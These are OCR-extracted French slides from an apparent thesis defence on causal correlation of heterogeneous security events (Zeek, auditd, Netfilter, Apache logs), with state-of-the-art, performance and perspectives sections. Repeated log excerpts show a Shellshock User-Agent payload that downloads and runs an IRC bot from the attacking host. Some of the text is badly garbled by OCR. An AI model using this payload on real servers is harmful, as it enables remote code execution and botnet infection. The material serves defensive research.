
“method": "GET","host":"172.16.0.1" ,"uri":"/cgi-bin/shell.sh",

"user_agent":"() { :;}; /usr/bin/perl -e ’'print \"Content-Type: text/
plain\\ AAPANP\\NATTACK SUCCESS\AN\"; system(\"/usr/bin/curl http
1//172.16.0.2/attackerl-irc-bot.pl -0 /tmp/core; perl /tmp/core; rm
/tmp/core;\"); "}

v

"host_id": "apache", "in
“:"ethl","len":"60","src_ip":"172.16.0.2", “dst_ ip
":"192.168.51. 100", “protocol“-“TCP“.“src p“-“33032“.“d5t_p“:“80“.“
dest_mac“:“08:00:27:05:d9:f1“.“source_mac“:“08:00:27:b4:c7:20“}

Y

{"__source":"Sys_auditd.log","__type":"SYS","exe":"/usr/sbin/apache2","
pid":"22898","ppid":"22891","syscall":"288", "operation":"accept","
saddr": "02008108AC1000020000000000000000", "success" : "yes", "time
*:"1585927592.670", "type": "SOCKADDR", "egid":"33", "euid": "33", "sgid
":"33","event id":"62327", "exit":"11"}

Y

{"__source":"Sys_auditd.log","__type":"SYS", "exe":"/usr/sbin/apache2","
pid“:“22898“ "ppi d“-“22891“ “syscall“-“Sﬁ“ “operation":"fork","flags
":“CLONE_CHILD CLEARTID|SIGCHLD|CLONE CHILD SETTID", "success":"yes
".“time“:“1585927725.389“.“egid“:“33“.“euid“:“33“.“event id
":"62346", "exit":"22929"}

Y

{"__source":"apache_access.log","__type":"APP","time_received":" [03/Apr
/2020:15:28:45 +0000]“.“p1d“-“22898“ "local_ ip":"192.168.51.100", i
server_port":"80","remote_host":"172.16.0.2", "server_port_remote
*:"33032 “.“request_method“:“GET“.“request_url“:“/cgi-bin/shell.sh
*,"request_http_ver":"1.1","status":"200", "request_header_referer
“i'-", "request_header_user_agent":" () { ..}: Jusr/bin/perl -e ’‘print
AN

Alerte Zeek NIDS (réseau)
Attaque ShellShock - Requéte HTTP

Netfilter Host_Apache (réseau)
Connexion entrante

Auditd Host_Apache (0S)
Appel systéme accept4()

Auditd Host_Apache (0S)
Appel systeme clone()

Apache-Logging Host_Apache (Application)




Résultats — Graphe de dépendance de |'alerte

“ts“'“2@2@ @4 03T15:28: 45 389@872“ “id.orig— h“'“172 16 0.2",

"id.orig_ p“ 33032, "id.resp_ h":"192.168.51. 100", "id.resp_p":80,

“user_agent“-“() { :;}; /usr/bin/perl -e ‘print \"Content-Type: text/
plain\\ rANMANMA\NNATTACK SUCCESSA\\N\"; system(\"/usr/bin/curl http
1//172.16.0.2/attackerl-irc-bot.pl -0 /tmp/core; perl /tmp/core; rm
/tmp/core;\"); "}

v

{u [TRRIT AP o i~ ) 4, ] TR i I AT [T 3 AN, e I TR T

"'“ethl“ “len":"60", “src 1p“'“172 16 0.2","dst_ip
":"192. 168 51. 1@@“,“or0t0c01“'“TCP“.“src o“:“33@32“ “dst p":
cl H H ML =M UL cl H H H

{" source "Sys audltd 109 ! type'-'SYS' "exe":"/usr/sbin/apache2","
0 e r =Toh U “.I.Operatlon“'“accept“ "

saddr“ “02008108AC1000020000000000000000“. ‘success":"yes", "time
H . - H I. II33II “euld“. II33II Ilsgld
IIl II33II Ilevent 1d|l. II62327IIl “exlt“. II11II}

Y

{"__source":"Sys_auditd.log","__type":"SYS", "exe":"/usr/sbin/apache2","
pid":"22898","ppid":"22891", "syscall":"56","operation":"fork","flags
*1"CLONE_CHILD_CLEARTID|SIGCHLD|CLONE_CHILD_SETTID","success":"yes
*,"time":"1585927725.389", "egid": "33","euid" : "33","event id
":"62346", "exit":"22929"}

Y

{"__source":"apache_access.log","__type":"APP","time_received":" [03/Apr
/2020:15:28:45 +00@0]“.“p1d“-“22898“ "local_ ip":"192.168.51.100", b
server_port":"80","remote_host":"172.16.0.2", "server_port_remote
*:"33032 “.“request_method“:“GET“.“request_url“:“/cgi-bin/shell.sh
*,"request_http_ver":"1.1","status":"200", "request_header_referer
“i'-", "request_header_user_agent":" () { ..}: Jusr/bin/perl -e ’‘print

AN

Alerte Zeek NIDS (réseau)
Attaque ShellShock - Requéte HTTP

Netfilter Host_Apache (réseau)
Connexion entrante

Auditd Host_Apache (0S)
Appel systéme accept4()

Auditd Host_Apache (0S)
Appel systeme clone()

Apache-Logging Host_Apache (Application)




Résultats — Graphe de dépendance de |'alerte

{"__source":"Net_Zeek.log","__type":"NET", "uid":"C7SKfD3hbTetAdcQb2",

“ts":"2020-04-03T15:28:45.389087Z", "id.orig_h":"172.16.0.2",

“id.orig_p":33032, "id.resp_h":"192.168.51.100", "id.resp_p":80,

“method": "GET","host":"172.16.0.1" ,"uri":"/cgi-bin/shell.sh",

"user_agent":"() { :;}; /usr/bin/perl -e ’'print \"Content-Type: text/
plain\\ AAPANP\\NATTACK SUCCESS\AN\"; system(\"/usr/bin/curl http
1//172.16.0.2/attackerl-irc-bot.pl -0 /tmp/core; perl /tmp/core; rm
/tmp/core;\");"'"}

v

"host_id": "apache", "in
“:"ethl","len":"60","src_ip":"172.16.0.2", “dst_ ip
":"192.168.51. 100", “protocol“-“TCP“.“src p“-“33032“.“d5t_p“:“80“.“
dest_mac“:“08:00:27:05:d9:f1“.“source_mac“:“08:00:27:b4:c7:20“}

Y

o i auditd.log","__type":"SYS", "exe":"/usr/sbin/apache2","
'ppid":"22891", "syscall":"288", "operation": "accept","
saddr": "0/0058108AC1000020000000000000000", "success" :"yes", "time
*:1"1585927592.670", "type": "SOCKADDR", "egid": "33", "euid":"33","sgid
":"33","event id":"62327","exit":"11"}

Y

auditd.log","__type":"SYS", "exe":"/usr/sbin/apache2","
.1d“ “22898“ ‘ppi d“-“22891“ “5y5ca11“-“56“ “operation":"fork","flags
. HILD CLEARTID|SIGCHLD|CLONE CHILD SETTID", "success":"yes

" “t1me“-“1585927725 389", "egid":"33","euid":"33", “event id

"-“62346“ "exit":"22929"}

{"__source":"apache_acces ag e "APP" , "time_received" :" [03/Apr
/2020:15:28:45 +0000]" pid": "22898" ' local_ ip":"192.168.51.100", i
server_port":"80","remote_ 05 : .16.0.2","server_port_remote
*:"33032 “.“request_method“:“GET“.“request_url“:“/cgi-bin/shell.sh
*,"request_http_ver":"1.1","status":"200", "request_header_referer
“i'-", "request_header_user_agent":" () { ..}: Jusr/bin/perl -e ’‘print
AN

Alerte Zeek NIDS (réseau)
Attaque ShellShock - Requéte HTTP

Netfilter Host_Apache (réseau)
Connexion entrante

Auditd Host_Apache (0S)
Appel systéme accept4()

Auditd Host_Apache (0S)
Appel systeme clone()

Apache-Logging Host_Apache (Application)




Contexte

Ftat de I'Art — Corrélation d’Alertes & Causalité
Conftribution

Implémentation

Fvaluation

Conclusion & Perspectives



Mes travaux de these

Objectif : Retrouver toutes les traces d'un scénario d'attaque
a fravers I'analyse d'événements de sécurité

ldée : Calcul des liens de dépendance causale entre événements
= Découverte de scénario d'attaque =
Traversée du graphe de dépendance causale

Définition formelle de la relation de dépendance causale entre
evénements hétérogenes ;

B Implémentation basée sur des COTS — Construction d'une approximation
du modele de causalité basée sur I'analyse semantique des événements ;

[ Evaluation sur des scénarios d’attaque réalistes.

[6] Xosanavongsa, C., Totel, E., & Bettan, 0. (2019). Discovering correlations: A formal definition of causal dependency among
heterogeneous events.In 2019 IEEE European Symposium on Security and Privacy (EuroS&P)




Perspectives

Imaginer des scenarios d'attaque plus complexes




Perspectives

Développement de nouvelles sondes de supervision
Observation des actions contextuelles + Permetire le calcul de sessions

(1) Déploiemen
de systemes de
supervision




Perspectives

Architecture de fraitement de logs
Calcul efficace de CECD + Passage a I'échelle

() ETL Pipeline )

O ETL Pipeline )

O ETL Paipeline )

(2) ETL: Extract,
Transform, Load
Pipelines




Perspectives

Analyse automatique de CECD
Reconnaissance de Patterns

(3) Base de données
orientée graphes




Perspectives

Stratégies de visualisation

- Caleul de graphes
de causalité et

- de dépendance

a

- Investigation
- d’événements

(4) Interface

de visualisation
& d’investigation

U/

38



Merci de voire
attention



Etat de I' Art — Simplification d'écriture de régles

Utilisation d'une base de connaissance

Découpler les points de vue de I'aftaquant et du défenseur

Attacker view Defender view
| 1
Attack 1 Action 5 3 Action Tree 4 Correlation 5 Correlation
Tree Tree with observers tree rules
actions actors observers messages rules
specification identification identification identification generation
T E
: o.. L] (]
— i i
topology, cartography sensors sensors format

Knowledge base

Godefroy, E. (2016). Définition et évaluation d’un mécanisme de génération de régles de corrélation liées a 1’environnement. PhD thesis.



Etat de I' Art — Stratégie Descendante

Systeme de « Record & Replay »

Target Host

--------------------------------------

------

Provenance Graphs

Analysis Host

i Provenance Graph ] |:>

Instrumented : : Bl
N LibC  §4 ] i Transfer i \ areer 3
RAIN 4 i Tnggeru'lg ] [ eacha 1. ity ] |:>
Kernel Module : | Analysis §6.1 Analysis 6.2

| J/ d :
: Operating E :
System : R Selective |:>
N\ ! [ Py §4 DIFT §7 ) i

.
------------------------------------

Ji, Y., Lee, S., Downing, E., Wang, W., Fazzini, M., Kim, T., Orso, A., & Lee, W. (2017). Rain: Refinable attack investigation with on-

-------

. o
------------------------------------------------------------------

Figure 2: Overview of RaIN architecture.

demand inter-process information flow tracking. In Proceedings of the 2017 ACM SIGSAC.

Original
@ )

/l\/
AR

Pruned
. @ )

L

Refined




Implémentation — Performances

Transform Component

Event Handling Rate (No of Events per Seconds)

Mean Min Q1 Median Q3 Max
Auditd 2377.82 | 2191.86 | 2357.33 | 2399.07 | 2414.72 | 2441.67
Netfilter 5960.83 || 3474.55 | 5748.77 6141.9 | 6302.01 | 6517.95
Apache 2591.01 2337.31 2573.1 | 2597.18 | 2616.72 | 2716.52
Zeek 17947.03 || 11228.87 | 17034.19 | 18369.6 | 18887.18 | 19388.58
Transform Component CE Handling Rate (No of CEs per Seconds)
P Mean Min Q1 Median Q3 Max
Auditd Netfilter Match || 2337.17 || 2155.71 | 2312.29 | 2357.58 | 2373.93 | 2401.62
Time Ordering 2281.18 | 2107.39 | 2257.75 | 2301.41 | 2317.82 2344.2
Timelines 910.81 835.42 899.35 922.37 927.93 044.24
Message Exchange 12006.9 || 7652.81 | 11451.24 | 12168.73 | 12616.36 | 13159.26
Overall Pipeline 663.23 608.17 653.68 671.96 675.06 686.16
Import Rate (No of Documents per Seconds)
Load Component Mean Min Q1 Median Q3 Max
Arango Import 8222.04 || 8149.22 | 8199.83 | 8215.95 | 8235.74 | 8321.81
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